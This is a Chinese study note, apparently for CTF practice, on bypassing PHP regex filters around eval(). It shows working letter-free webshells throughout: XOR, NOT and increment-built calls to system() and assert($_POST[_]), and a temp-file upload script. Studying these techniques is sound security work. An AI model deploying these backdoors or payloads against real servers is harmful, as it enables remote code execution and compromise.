1 前置知识
1.1 php中的正则匹配函数
最常见的preg_grep()
preg_grep(string $pattern, array $array, int $flags = 0): array|false
返回给定数组array中与模式pattern 匹配的元素组成的数组
其余的正则函数可以在https://www.runoob.com/php/php-pcre.html里学习
1.2 正则匹配式
正则表达式手册:https://tool.oschina.net/uploads/apidocs/jquery/regexp.html
https://www.runoob.com/regexp/regexp-tutorial.html
动态调试正则表达式的网站:https://regex101.com/
中文在线调试:https://c.runoob.com/front-end/854/
尝试阅读几个正则表达式:
/^[a-z0-9_-]{3,16}$/ 用来过滤用户名
/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/ 匹配ip地址
/^[a-z\d]+(\.[a-z\d]+)*@([\da-z](-[\da-z])?)+(\.{1,2}[a-z]+)+$/电子邮箱
1.3 php中的位运算
在构造字符绕正则的时候,我们常用位运算符来帮助我们构造
php位运算符:https://blog.csdn.net/qq_28602957/article/details/52141431
2 无字母数字构造
2.1 无字母数字基础
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
php5
修饰符i,s:https://www.runoob.com/regexp/regexp-flags.html
异或拼接:
(来自p牛博客
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
$___=$$__;
$_($___[_]);
(很多不可打印字符,用url编码表示)
异或:
("%0b%08%0b%09%0e%06%0f"^"%7b%60%7b%60%60%60%60")();
这样可以phpinfo
倘若过滤了引号:
${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo
%86%86%86%86^%d9%c1%c3%d2构造出_GET,php中可以这样构造参数,花括号在数组中可以索引:
$_GET{2}
一个非数字字母的php后门(使用异或):
<?php
@$_++;
$__=("#"^"|");
$__.=("."^"~");
$__.=("/"^"`");
$__.=("|"^"/");
$__.=("{"^"/");
${$__}[!$_](${$__}[$_]);
?>
拼接_POST:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
更短的字符:
"`{{{"^"?<>/" //_GET
"#./|{"^"|~`//" //_POST
或:
("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60")();
这样可以phpinfo
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%17%08%0f%01%0d%09"|"%60%60%60%60%60%60");
system(‘whoami’); 可以rce
取反:
(~%8F%97%8F%96%91%99%90)();
可phpinfo
utf-8下取中文字符取反:
UTF-8编码的某个汉字,并将其中某个字符取出来,比如’和’{2}的结果是"\x8c",其取反即为字母s
<?php
$_="和";
print(~($_{2}));
print(~"\x8c");
?>
脚本生成:
>>> def get(shell):
... hexbit=''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
... print(hexbit)
...
>>> get('phpinfo')
0x8f0x970x8f0x960x910x990x90
自增:
‘a’++ => ‘b’,‘b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
文档:http://php.net/manual/zh/language.operators.increment.php
如何拿到一个值为字符串’a’的变量呢?
数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:
<?php
echo ''.[];
构造:ASSERT($_POST[_]);
<?php
$_=[];
$_=@"$_";
$_=$_['!'=='@'];
$___=$_;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$____.=$__;
$_=$$____;
$___($_[_]);
//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo();
不用数字构造数字:
echo ('>'>'<')+('>'>'<');//2
echo true+true;//2
或者:
<?php
$_++;
print($_); // 1
?>
php中未定义的变量默认值为null,nullfalse0
2.2 长度限制
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
php7:
PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过(‘phpinfo’)();来执行函数,第一个括号中可以是任意PHP表达式。
(~%8F%97%8F%96%91%99%90)();
php5:
上传临时文件:
import requests
url="http://xxx/test.php?code=?><?=`. /???/????????[@-[]`;?>"
files={'file':'cat f*'}
response=requests.post(url,files=files)
html = response.text
print(html)
具体原理看p神文章可了解详细
glob通配符:https://man7.org/linux/man-pages/man7/glob.7.html
2.3 过滤下划线
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
?>
异或:
?code=('$').("`{{{"^"?<>/").(['+'])&+=getFlag();
这样是错误的,因为eval只能解析一遍代码,而此时中间的拼接就会成为第一遍解析的运算
正确的payload为:
?code=${"`{{{"^"?<>/"}['+']();&+=getFlag
这里利用了**${}**中的代码是可以执行的特点,其实也就是可变变量。
示例:
<?php
$a = 'hello';
$$a = 'world';
echo "$a ${$a}";
?>
>>hello world
取反:
?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag
其中24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B = ${~"\xa0\xb8\xba\xab"} = $_GET
~在{}中执行了取反操作
2.4 过滤$字符
<?php
include 'flag.php';
if(isset($_GET['code']))
{
$code=$_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code))
{
die("NO.");
}
@eval($code);
}
else
{
highlight_file(__FILE__);
}
?>
payload:
code=?><?=`/???/??? ????.???`?>
/???/???通配``/bin/cat,???.???通配flag.php`
参考:
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://ca01h.top/Web_security/php_related/8.PHP%E6%97%A0%E6%95%B0%E5%AD%97%E5%AD%97%E6%AF%8D%E6%9E%84%E9%80%A0webshell/
https://blog.csdn.net/miuzzx/article/details/109143413 https://blog.csdn.net/qq_45521281/article/details/105656936
|